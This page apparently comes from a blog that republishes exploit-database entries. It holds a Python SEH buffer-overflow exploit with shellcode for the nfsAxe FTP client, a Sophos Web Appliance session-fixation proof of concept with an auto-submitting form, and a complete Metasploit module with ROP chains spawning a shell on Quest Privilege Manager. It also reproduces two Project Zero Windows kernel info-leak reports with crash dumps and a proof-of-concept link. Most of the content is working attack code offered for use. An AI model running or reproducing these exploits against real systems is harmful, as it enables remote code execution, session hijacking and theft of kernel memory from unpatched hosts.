Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863583597

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python
 
print "LabF nfsAxe 3.7 FTP Client Buffer Overflow (SEH)"
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"
 
#Author website: www.tulpa-security.com
#Author twitter: @tulpa_security
 
#Tested on Windows Vista x86

import socket
import sys

#badchars \x00\x10\x0a

buf =  ""
buf += "\xbb\x7e\xbc\x7c\x19\xda\xc2\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x59\x83\xe8\xfc\x31\x58\x0e\x03\x26\xb2\x9e"
buf += "\xec\x3e\xf2\x5e\x0f\xbe\x40\x12\x4b\xbe\xa1\xd5\x95"
buf += "\xc7\xc8\x6f\x9c\x7e\xb7\xdd\x8e\x69\x13\x07\xbf\xae"
buf += "\x85\x31\xca\x9d\xfd\xaf\xc8\xe6\x8f\x7e\x3f\xf4\xee"
buf += "\xa6\xdd\x77\xa2\x8e\x27\xb9\xce\xce\x9b\x53\x78\x7c"
buf += "\xee\x04\xb5\xb0\x20\xfe\xf5\xf8\x3c\xff\x5e\x55\xb4"
buf += "\x1a\xe9\x08\xc6\x8e\xda\xeb\xa2\xc5\x1a\x87\x6b\xd5"
buf += "\x97\xe7\x77\x48\x2c\x5f\x80\x79\x3f\xed\xc7\x51\x11"
buf += "\xbf\x18\x79\x18\xfc\xbe\x92\x0b\x69\x49\x3a\x2d\x83"
buf += "\x23\xc8\x74\xd0\xc9\xcc\x06\x1f\x37\xb8\xe2\xb1\x6b"
buf += "\xbf\xdf\xbe\x64\xb3\x20\xc1\x74\x92\xa9\xc5\xfa\xc6"
buf += "\x41\xf4\xfd\x60\x17\x1b\x91\x6d\x43\x8c\x93\x6c\x6b"
buf += "\x4c\x6b\x3b\x4b\x1b\xc4\x94\xdc\xe4\xbd\x5d\xb4\x15"
buf += "\x14\x7d\xb3\x29\xa6\x82\x94\xfa\xa1\x7e\x1b\x27\x23"
buf += "\xf7\xfd\x4d\x53\x51\x51\x6d\x06\x45\x02\xc2\x56\x20"
buf += "\xb8\xb3\xfe\x99\x3f\x6e\xef\x94\x02\xf7\x8c\x4a\xd6"
buf += "\x75\xae\xb6\xe6\x45\xa5\xa3\x51\xb5\x91\x42\xb6\xff"
buf += "\xa2\x70\x29\x44\xd5\x3c\x6d\x79\xa0\xc0\x49\xc9\x3b"
buf += "\x44\xb6\x85\xb2\xc8\x92\x45\x48\x74\xff\x75\x06\x24"
buf += "\xae\x24\xf7\x85\x01\x8e\xa6\x54\x5d\x65\x49\x07\x5e"
buf += "\xd3\x79\x2e\x41\xb6\x86\xcf\xb3\xb8\x2c\x03\xe3\xb9"
buf += "\x9a\x57\xf4\x13\x0d\x34\x5f\xca\x1a\x31\x33\xd6\xbc"
buf += "\xce\x89\x2a\x36\x84\x14\x2b\x49\xce\x9c\x81\x51\x85"
buf += "\xf9\x35\x63\x72\x1e\x07\x2a\x0f\xd5\xe3\xad\xe1\x27"
buf += "\x0b\x51\xcc\x87\x5f\x92\xce\x7c\xa7\x22\xc1\x70\xa6"
buf += "\x63\x36\x78\x93\x17\xec\x69\x91\x06\x67\xcb\x7d\xc8"
buf += "\x9c\x8a\xf6\xc6\x29\xd8\x53\xcb\xac\x35\xe8\xf7\x25"
buf += "\xc8\x07\x1c\x3b\xfa\x17\x6a\xd1\xa3\xc9\x30\x7e\x9e"
buf += "\xfe\xca"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

egg = "w00tw00t"

nseh = "\x90\x90\xEB\x05" #JMP over SEH
seh = "\xF8\x54\x01\x68" #POP POP RET 680154F8 in WCMDPA10.DLL

buffer = "A" * 100 + egg + "\x90" * 10 + buf + "D" * (9266-len(buf)) + nseh + seh + egghunter + "C" * 576

port = 21

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[i] Evil FTP server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to your unfriendly FTP server\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')
            
# Exploit Title: [Sophos Secure Web Appliance Session Fixation Vulnerability]
# Date: [28/02/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [https://www.sophos.com/en-us/products/secure-web-gateway.aspx]
# Version: [Tested on Sophos Web Appliance version 4.3.1.1. Older versions may also be affected]
# Tested on: [Sophos Web Appliance version 4.3.1.1]
# CVE : [CVE-2017-6412]
# Vendor Security Bulletin: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html

==================
#Product:-
==================
Sophos Secure Web Appliance is a purpose-built secure web gateway appliance which makes web protection simple. It provides advanced protection from today’s sophisticated web malware with lightning performance that won’t slow users down. You get full control and instant insights over all web activity on your network.

==================
#Vulnerabilities:-
==================
Session Fixation Vulnerability

========================
#Vulnerability Details:-
========================

#1. Session Fixation Vulnerability (CVE-2017-6412)

A remote attacker could host a malicious page on his website that makes POST request to the victim’s Sophos Web Appliance to set the Session ID using STYLE parameter. The appliance does not validate if the Session ID sent by user/browser was issued by itself or fixed by an attacker.

Also, the appliance does not invalidate pre-login Session IDs it issued earlier once user logs in successfully. It continues to use the same pre-login Session ID instead of invalidating it and issuing a new one.

Note: An attacker would have to guess/know the IP address of the victim's device

Proof-of-Concept:

1.Visit the Sophos Login page to obtain pre-auth Session ID.

2.Host following webpage on attacking machine with the Session ID obtained in #1. It can be changed a little bit.

<html>
<body>
        <form name="Sophos_Login"action="https://192.168.253.147/index.php?c=login" method="POST" >
                <input type="hidden" name="STYLE" value="Pre-Auth Session ID">
        </form>

        <script>
                window.onload = function(){
                        document.forms['Sophos_Login'].submit()
                }
        </script>
</body>
</html>

3. Visit the above page another machine.

4. You will be redirected to the login page, however Session ID will be the same.

5. Log into the appliance and check the Session ID, it will be the same from #1.


====================================
#Vulnerability Disclosure Timeline:
====================================

28/02/2017: First email to disclose the vulnerability to the vendor
28/02/2017: Vendor requested a vulnerability report
28/02/2017: Report sent to vendor.
28/02/2017: Vendor validated the report and confirmed the vulnerability
01/03/2017: CVE MITRE assigned CVE-2017-6412 to this vulnerability
03/03/2017: Vendor confirms that the fix is ready and is in the process of testing.
09/03/2017: Vendor confirmed that the patch will be released on March 17 2017 and requested to hold off publishing the CVE until March 31 2017.
17/03/2017: Vendor released the patch: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html
31/03/2017: Published CVE as agreed by vendor
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Quest Privilege Manager pmmasterd Buffer Overflow',
      'Description'    => %q{
        This modules exploits a buffer overflow in the Quest Privilege Manager,
        a software used to integrate Active Directory with Linux and Unix
        systems. The vulnerability exists in the pmmasterd daemon, and can only
        triggered when the host has been configured as a policy server (
        Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
        condition exists when handling requests of type ACT_ALERT_EVENT, where
        the size of a memcpy can be controlled by the attacker. This module
        only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
        vulnerable, but not supported by this module (a stack cookie bypass is
        required). NOTE: To use this module it is required to be able to bind a
        privileged port ( <=1024 ) as the server refuses connections coming
        from unprivileged ports, which in most situations means that root
        privileges are required.
      },
      'Author'         =>
        [
          'm0t'
        ],
      'References'     =>
        [
          ['CVE', '2017-6553'],
          ['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
        ],
      'Payload'        =>
        {
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
            }
        },
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Targets'        =>
        [
          ['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
            {
              exploit: :exploit_x64,
              check: :check_x64
            }
          ],
          ['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
            {
              exploit: :exploit_x86,
              check: :check_x86
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Apr 09 2017',
      'DefaultTarget'  => 0
      )
    )

    register_options(
      [
        Opt::RPORT(12345),
        Opt::CPORT(rand(1024))
      ]
    )
  end

  # definitely not stealthy! sends a crashing request, if the socket dies, or
  # the output is partial it assumes the target has crashed. Although the
  # daemon spawns a new process for each connection, the segfault will appear
  # on syslog
  def check
    unless respond_to?(target[:check], true)
      fail_with(Failure::NoTarget, "Invalid target specified")
    end

    send(target[:check])
  end

  def exploit
    unless respond_to?(target[:exploit], true)
      fail_with(Failure::NoTarget, "Invalid target specified")
    end

    request = send(target[:exploit])

    connect
    print_status("Sending trigger")
    sock.put(request)
    sock.get_once
    print_status("Sending payload")
    sock.put(payload.encoded)
    disconnect
  end

  # server should crash after parsing the packet, partial output is returned
  def check_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    body = "PingE4.6 .0.0.27"
    body << rand_text_alpha(3000)

    request = head + body

    connect
    print_status("Sending trigger")
    sock.put(request)
    res = sock.timed_read(1024, 1)
    if res.match? "Pong4$"
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Unknown
    end
  end

  # server should crash while parsing the packet, with no output
  def check_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    body = rand_text_alpha(3000)

    request = head + body

    connect
    print_status("Sending trigger")
    sock.put(request)
    begin
      sock.timed_read(1024, 1)
      return Exploit::CheckCode::Unknown
    rescue ::Exception
      return Exploit::CheckCode::Appears
    end
  end

  def exploit_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
      0x408f88,   # pop rdi, ret
      0x4FA215,   # /bin/sh
      0x40a99e,   # pop rsi ; ret
      0,          # argv  @rsi
      0x40c1a0,   # pop rax, ret
      0,          # envp @rax
      0x48c751,   # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
      0xcacc013,  # padding
      0x408a98,   # execve,
      0
    ].pack("Q*")

    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(1600)
    body << ropchain
    body << rand_text_alpha(0x700 - body.size)

    head + body
  end

  def exploit_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x108 ].pack("N")
    head << [ 0xcc ].pack("N")
    head << "\x00" * 68

    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
      0x8093262,  # ret
      0x73,       # cs reg
      0x804AE2C,  # execve,
      0xcacc013,  # padding
      0x8136CF0,  # /bin/sh
      0,
      0
    ].pack("V*")

    pivotback = 0x08141223  # sub esp, ebx ; retf
    writable = 0x81766f8    # writable loc

    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(104)
    body << ropchain
    body << rand_text_alpha(0xb4 - body.size)
    body << [0x50].pack("V")
    body << rand_text_alpha(0xc4 - body.size)
    body << [pivotback].pack("V")
    body << [writable].pack("V")
    body << rand_text_alpha(0x108 - body.size)

    head + body
  end
end
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1127

We have identified two related bugs in Windows kernel code responsible for implementing the bind() socket function, specifically in the afd!AfdBind and tcpip!TcpBindEndpoint routines. They both can lead to reading beyond the allocated pool-based buffer memory area, potentially allowing user-mode applications to disclose kernel-mode secrets. They can also be exploited to trigger a blue screen of death and therefore a Denial of Service condition.

The details are explained below.

----------[ Double-fetch in afd!AfdBind ]----------

In the code of the afd!AfdBind function of the up-to-date afd.sys module (handler of the AFD_BIND IOCTL accessible from ring-3) on Windows 7 32-bit, we can find the following assembly code construct:

--- cut ---
  PAGE:00024D71                 push    0EC646641h      ; Tag
  PAGE:00024D76                 push    [ebp+NumberOfBytes] ; NumberOfBytes
  PAGE:00024D79                 push    10h             ; PoolType
  PAGE:00024D7B                 call    ds:__imp__ExAllocatePoolWithQuotaTag@12
  [...]
  PAGE:00024DD2                 lea     edi, [eax+4]
  PAGE:00024DD5                 push    edi             ; void *
  PAGE:00024DD6                 push    [ebp+P]         ; void *
  PAGE:00024DD9                 call    ds:__imp__memmove <------------------- Fetch #1
  PAGE:00024DDF                 add     esp, 0Ch
  PAGE:00024DE2                 movzx   eax, word ptr [edi] <----------------- Fetch #2
  PAGE:00024DE5                 cmp     ax, 22h
  PAGE:00024DE9                 jb      short loc_24E01
  [...]
  PAGE:00024E01
  PAGE:00024E01 loc_24E01:
  PAGE:00024E01                 push    eax
  PAGE:00024E02                 call    _SOCKADDR_SIZE@4 ; SOCKADDR_SIZE(x)
  PAGE:00024E07                 movzx   eax, al
  PAGE:00024E0A                 cmp     [ebp+NumberOfBytes], eax
  PAGE:00024E0D                 jnb     short loc_24E25
--- cut ---

Which translates to the following pseudo-code:

--- cut ---
  LPINPUTSTRUCT lpKernelStruct = ExAllocatePool(NumberOfBytes);
  memmove(lpKernelStruct, lpUserStruct, NumberOfBytes); <-------------------- Fetch #1

  if (NumberOfBytes < SOCKADDR_SIZE(lpUserStruct->dwStructType)) { <--------- Fetch #2
    // Bail out.
  }
--- cut ---

As can be seen, the first WORD of the input structure is fetched twice from a user-mode buffer: once during the memmove() call, and once when directly accessing it to pass its value as an argument to the SOCKADDR_SIZE function. The SOCKADDR_SIZE function is mostly just a wrapper around the constant sockaddr_size[] array, which has the following values:

 * indexes 0x00..0x01: 0x00
 * index         0x02: 0x10
 * indexes 0x03..0x16: 0x00
 * index         0x17: 0x1C
 * indexes 0x16..0x21: 0x00

The double fetch makes it possible for the first WORD of the structure to have different values on each access from kernel-mode (through another thread concurrently flipping its bits). For example, it could have the valid value 2 or 0x17 at the time of the memmove(), but any other value at the time of the direct access. This would lead to comparing the input structure size with 0 (which is the corresponding entry in sockaddr_size[]), effectively nullifying the sanitization. Other code down the execution flow may then assume that the size of the buffer has been correctly verified, and access some fields at predefined offsets, which may be located outside of the allocated buffer, if the user specifies a very small size.

In our case, the confused code is in tcpip!TcpBindEndpoint, which tries to copy an excessive number of bytes from a very small allocation. A crash log excerpt is shown below:

--- cut ---
  DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
  N bytes of memory was allocated and more than N bytes are being referenced.
  This cannot be protected by try-except.
  When possible, the guilty driver's name (Unicode string) is printed on
  the bugcheck screen and saved in KiBugCheckDriver.
  Arguments:
  Arg1: 8c5ed000, memory referenced
  Arg2: 00000000, value 0 = read operation, 1 = write operation
  Arg3: 84c703fe, if non-zero, the address which referenced memory.
  Arg4: 00000000, (reserved)

  Debugging Details:
  ------------------

  [...]

  TRAP_FRAME:  96647818 -- (.trap 0xffffffff96647818)
  ErrCode = 00000000
  eax=9512d970 ebx=95051020 ecx=00000003 edx=00000000 esi=8c5ed000 edi=9505104c
  eip=84c703fe esp=9664788c ebp=96647898 iopl=0         nv up ei ng nz ac po cy
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010293
  tcpip!TcpBindEndpoint+0x51:
  84c703fe f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
  Resetting default scope

  LAST_CONTROL_TRANSFER:  from 81722dff to 816be9d8

  STACK_TEXT:  
  9664736c 81722dff 00000003 d1dfd5f3 00000065 nt!RtlpBreakWithStatusInstruction
  966473bc 817238fd 00000003 00000000 00000004 nt!KiBugCheckDebugBreak+0x1c
  96647780 816d199d 00000050 8c5ed000 00000000 nt!KeBugCheck2+0x68b
  96647800 81683f98 00000000 8c5ed000 00000000 nt!MmAccessFault+0x104
  96647800 84c703fe 00000000 8c5ed000 00000000 nt!KiTrap0E+0xdc
  96647898 84c7039e 951769a0 8c2e3896 9512d970 tcpip!TcpBindEndpoint+0x51
  966478b8 84c72900 951769a0 966479cc 00000000 tcpip!TcpIoControlEndpoint+0x199
  966478cc 816ccbe5 9664795c d1dfdf7b 00000000 tcpip!TcpTlEndpointIoControlEndpointCalloutRoutine+0x8b
  96647934 84c6d89e 84c72875 9664795c 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
  9664796c 8c2e05ed 95176900 96647901 966479f8 tcpip!TcpTlEndpointIoControlEndpoint+0x67
  966479a0 8c2e06aa 84c6d837 951769a0 966479cc afd!AfdTLIoControl+0x33
  966479b8 8c2e3afa 8c53eef0 966479cc 9512d970 afd!AfdTLEndpointIoControl+0x1a
  966479f8 8c2e388a 9512d970 8c53eef0 9512d970 afd!AfdTLBind+0x4b
  96647a40 8c2d3eb8 9512d970 8c53eef0 00000000 afd!AfdTLBindSecurity+0x108
  96647aac 8c2e02bc 85e81198 9512d970 96647ae0 afd!AfdBind+0x283
  96647abc 8197d4d9 8bc0edd0 9512d970 85e81198 afd!AfdDispatchDeviceControl+0x3b
  96647ae0 8167a0e0 818727af 9512d970 8bc0edd0 nt!IovCallDriver+0x73
  96647af4 818727af 00000000 9512d970 9512da4c nt!IofCallDriver+0x1b
  96647b14 81875afe 8bc0edd0 85e81198 00000000 nt!IopSynchronousServiceTail+0x1f8
  96647bd0 818bcab0 00000054 9512d970 00000000 nt!IopXxxControlFile+0x810
  96647c04 81680db6 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
  96647c04 77716c74 00000054 00000000 00000000 nt!KiSystemServicePostCall
  0034f8b8 7771542c 75acab4d 00000054 00000000 ntdll!KiFastSystemCallRet
  0034f8bc 75acab4d 00000054 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
  0034f91c 7712bb75 00000054 00012003 001530d0 KERNELBASE!DeviceIoControl+0xf6
  0034f948 00141141 00000054 00012003 001530d0 kernel32!DeviceIoControlImplementation+0x80
  [...]
--- cut ---

We suspect it should be possible to extract some of the junk pool memory back to user-mode, e.g. through the IP address and port assigned to the socket in question. The issue reproduces on Windows 7, and is easiest to observe with Special Pools enabled for the afd.sys module. Attached is a afdbind_doublefetch.cpp file which is the C++ source code of a proof-of-concept program for the issue.

----------[ Buffer size sanitization logic in afd!AfdBind and tcpip!TcpBindEndpoint ]----------

As discussed before, the sockaddr_size[] array used during input structure size sanitization is full of 0x00's, except for indexes 0x2 and 0x17 (which are probably the only two valid packet types). Thus, if we call an IOCTL with the WORD containing a value other than the two, the sanitization will be virtually non-existent, and the input buffer is allowed to have any size at all. However, if we take a look at the tcpip!TcpBindEndpoint routine, we can see the following logic:

--- cut ---
  .text:000533EC                 cmp     word ptr [esi], 2
  .text:000533F0                 lea     edi, [ebx+1Ch]
  .text:000533F3                 jnz     short loc_533FB
  .text:000533F5                 movsd
  .text:000533F6                 movsd
  .text:000533F7                 movsd
  .text:000533F8                 movsd
  .text:000533F9                 jmp     short loc_53400
  .text:000533FB
  .text:000533FB loc_533FB:
  .text:000533FB                 push    7
  .text:000533FD                 pop     ecx
  .text:000533FE                 rep movsd
--- cut ---

which translates to:

--- cut ---
  if (lpKernelStruct->dwStructType == 2) {
    memcpy(lpNewStruct, lpKernelStruct, 0x10);
  } else {
    memcpy(lpNewStruct, lpKernelStruct, 0x1C);
  }
--- cut ---

In other words, if the first WORD doesn't equal 2, the function assumes that it must equal 0x17 and thus the buffer must have been verified to be at least 0x1C bytes long. However, as the dwStructType value and buffer size may be arbitrary, an out-of-bounds read of at most ~0x1C bytes may occur in the memcpy() call. An excerpt from a subsequent crash is shown below (very similar to the previous one):

--- cut ---
  DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
  N bytes of memory was allocated and more than N bytes are being referenced.
  This cannot be protected by try-except.
  When possible, the guilty driver's name (Unicode string) is printed on
  the bugcheck screen and saved in KiBugCheckDriver.
  Arguments:
  Arg1: 8b523000, memory referenced
  Arg2: 00000000, value 0 = read operation, 1 = write operation
  Arg3: 84e793fe, if non-zero, the address which referenced memory.
  Arg4: 00000000, (reserved)

  Debugging Details:
  ------------------

  [...]

  TRAP_FRAME:  88c67818 -- (.trap 0xffffffff88c67818)
  ErrCode = 00000000
  eax=84492318 ebx=94e30020 ecx=00000003 edx=00000000 esi=8b523000 edi=94e3004c
  eip=84e793fe esp=88c6788c ebp=88c67898 iopl=0         nv up ei ng nz ac po cy
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010293
  tcpip!TcpBindEndpoint+0x51:
  84e793fe f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
  Resetting default scope

  LAST_CONTROL_TRANSFER:  from 82730dff to 826cc9d8

  STACK_TEXT:  
  88c6736c 82730dff 00000003 fbe6b7bb 00000065 nt!RtlpBreakWithStatusInstruction
  88c673bc 827318fd 00000003 00000000 00000004 nt!KiBugCheckDebugBreak+0x1c
  88c67780 826df99d 00000050 8b523000 00000000 nt!KeBugCheck2+0x68b
  88c67800 82691f98 00000000 8b523000 00000000 nt!MmAccessFault+0x104
  88c67800 84e793fe 00000000 8b523000 00000000 nt!KiTrap0E+0xdc
  88c67898 84e7939e 95464008 8b8ca896 84492318 tcpip!TcpBindEndpoint+0x51
  88c678b8 84e7b900 95464008 88c679cc 00000000 tcpip!TcpIoControlEndpoint+0x199
  88c678cc 826dabe5 88c6795c fbe6bd33 00000000 tcpip!TcpTlEndpointIoControlEndpointCalloutRoutine+0x8b
  88c67934 84e7689e 84e7b875 88c6795c 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
  88c6796c 8b8c75ed 95464000 88c67901 88c679f8 tcpip!TcpTlEndpointIoControlEndpoint+0x67
  88c679a0 8b8c76aa 84e76837 95464008 88c679cc afd!AfdTLIoControl+0x33
  88c679b8 8b8caafa 8b54aef0 88c679cc 84492318 afd!AfdTLEndpointIoControl+0x1a
  88c679f8 8b8ca88a 84492318 8b54aef0 84492318 afd!AfdTLBind+0x4b
  88c67a40 8b8baeb8 84492318 8b54aef0 00000000 afd!AfdTLBindSecurity+0x108
  88c67aac 8b8c72bc 95463210 84492318 88c67ae0 afd!AfdBind+0x283
  88c67abc 8298b4d9 86cac1a0 84492318 95463210 afd!AfdDispatchDeviceControl+0x3b
  88c67ae0 826880e0 828807af 84492318 86cac1a0 nt!IovCallDriver+0x73
  88c67af4 828807af 00000000 84492318 844923f4 nt!IofCallDriver+0x1b
  88c67b14 82883afe 86cac1a0 95463210 00000000 nt!IopSynchronousServiceTail+0x1f8
  88c67bd0 828caab0 00000054 84492318 00000000 nt!IopXxxControlFile+0x810
  88c67c04 8268edb6 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
  88c67c04 775a6c74 00000054 00000000 00000000 nt!KiSystemServicePostCall
  0024faa4 775a542c 7570ab4d 00000054 00000000 ntdll!KiFastSystemCallRet
  0024faa8 7570ab4d 00000054 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
  0024fb08 75d1bb75 00000054 00012003 0024fc38 KERNELBASE!DeviceIoControl+0xf6
  0024fb34 010b120b 00000054 00012003 0024fc38 kernel32!DeviceIoControlImplementation+0x80
  [...]
--- cut ---

The issue reproduces on Windows 7, and is easiest to observe with Special Pools enabled for the afd.sys module. Attached is a afdbind_tcpip_oob_read.cpp file which is the C++ source code of a proof-of-concept program for the issue.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42009.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1182

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtUserCreateWindowEx system call. The analysis shown below was performed on Windows 7 32-bit.

The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows:

--- cut ---
8a993e28 82ab667d nt!memcpy+0x35
8a993e84 92c50063 nt!KeUserModeCallback+0xc6
8a994188 92c5f436 win32k!xxxClientLpkDrawTextEx+0x16b
8a9941f4 92c5f72e win32k!DT_GetExtentMinusPrefixes+0x91
8a994230 92c5f814 win32k!NeedsEndEllipsis+0x3d
8a99437c 92c5fa0f win32k!AddEllipsisAndDrawLine+0x56
8a994404 92c5fa9b win32k!DrawTextExWorker+0x140
8a994428 92bb8c65 win32k!DrawTextExW+0x1e
8a9946f0 92b23702 win32k!xxxDrawCaptionTemp+0x54d
8a994778 92b78ce8 win32k!xxxDrawCaptionBar+0x682
8a99479c 92b8067f win32k!xxxDWP_DoNCActivate+0xd6
8a994818 92b59c8d win32k!xxxRealDefWindowProc+0x7fe
8a99483c 92b86c1c win32k!xxxDefWindowProc+0x10f
8a994874 92b8c156 win32k!xxxSendMessageToClient+0x11b
8a9948c0 92b8c205 win32k!xxxSendMessageTimeout+0x1cf
8a9948e8 92b719b5 win32k!xxxSendMessage+0x28
8a994960 92b4284b win32k!xxxActivateThisWindow+0x473
8a9949c8 92b42431 win32k!xxxSetForegroundWindow2+0x3dd
8a994a08 92b714c7 win32k!xxxSetForegroundWindow+0x1e4
8a994a34 92b712d7 win32k!xxxActivateWindow+0x1b3
8a994a48 92b70cd6 win32k!xxxSwpActivate+0x44
8a994aa8 92b70f83 win32k!xxxEndDeferWindowPosEx+0x2b5
8a994ac8 92b7504f win32k!xxxSetWindowPos+0xf6
8a994b04 92b6f6dc win32k!xxxShowWindow+0x25a
8a994c30 92b72da9 win32k!xxxCreateWindowEx+0x137b
8a994cf0 82876db6 win32k!NtUserCreateWindowEx+0x2a8
8a994cf0 77486c74 nt!KiSystemServicePostCall
0022f9f8 770deb5c ntdll!KiFastSystemCallRet
0022f9fc 770deaf0 USER32!NtUserCreateWindowEx+0xc
0022fca0 770dec1c USER32!VerNtUserCreateWindowEx+0x1a3
0022fd4c 770dec77 USER32!_CreateWindowEx+0x201
0022fd88 004146a5 USER32!CreateWindowExW+0x33
--- cut ---

The win32k!xxxClientLpkDrawTextEx function invokes a user-mode callback #69 (corresponding to user32!__ClientLpkDrawTextEx), and passes in an input structure of 0x98 bytes. We have found that 4 bytes at offset 0x64 of that structure are uninitialized. These bytes come from offset 0x2C of a smaller structure of size 0x3C, which is passed to win32k!xxxClientLpkDrawTextEx through the 8th parameter. We have tracked that this smaller structure originates from the stack frame of the win32k!DrawTextExWorker function, and is passed down to win32k!DT_InitDrawTextInfo in the 4th argument.

The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). During a few quick attempts, we have been unable to control the leaked bytes with stack spraying techniques, or to get them to contain any meaningful values for the purpose of vulnerability demonstration. However, if we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!DrawTextExWorker, manually overwrite the 4 bytes in question to a controlled DWORD right after the stack frame allocation instructions, and then observe these bytes in the output of the PoC program, which indicates they were not initialized anywhere during execution between win32k!DrawTextExWorker and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below:

--- cut ---
2: kd> ba e 1 win32k!DrawTextExWorker
2: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff            mov     edi,edi
3: kd> p
win32k!DrawTextExWorker+0x2:
8122f8d1 55              push    ebp
3: kd> p
win32k!DrawTextExWorker+0x3:
8122f8d2 8bec            mov     ebp,esp
3: kd> p
win32k!DrawTextExWorker+0x5:
8122f8d4 8b450c          mov     eax,dword ptr [ebp+0Ch]
3: kd> p
win32k!DrawTextExWorker+0x8:
8122f8d7 83ec58          sub     esp,58h
3: kd> p
win32k!DrawTextExWorker+0xb:
8122f8da 53              push    ebx
3: kd> ed ebp-2c cccccccc
3: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff            mov     edi,edi
3: kd> g
--- cut ---

Here, a 32-bit value at EBP-0x2C is overwritten with 0xCCCCCCCC. This is the address of the uninitialized memory, since it is located at offset 0x2C of a structure placed at EBP-0x58; EBP-0x58+0x2C = EBP-0x2C. After executing the above commands, the program should print output similar to the following:

--- cut ---
00000000: 98 00 00 00 18 00 00 00 01 00 00 00 00 00 00 00 ................
00000010: 7c 00 00 00 00 00 00 00 14 00 16 00 80 00 00 00 |...............
00000020: a4 02 01 0e 00 00 00 00 00 00 00 00 0a 00 00 00 ................
00000030: 00 00 00 00 24 88 00 00 18 00 00 00 04 00 00 00 ....$...........
00000040: 36 00 00 00 16 00 00 00 30 00 00 00 01 00 00 00 6.......0.......
00000050: 01 00 00 00 0d 00 00 00 1e 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00[cc cc cc cc]00 00 00 00 04 00 00 00 ................
00000070: ff ff ff ff 01 00 00 00 ff ff ff ff 1c 00 00 00 ................
00000080: 54 00 65 00 73 00 74 00 57 00 69 00 6e 00 64 00 T.e.s.t.W.i.n.d.
00000090: 6f 00 77 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? o.w.............
--- cut ---

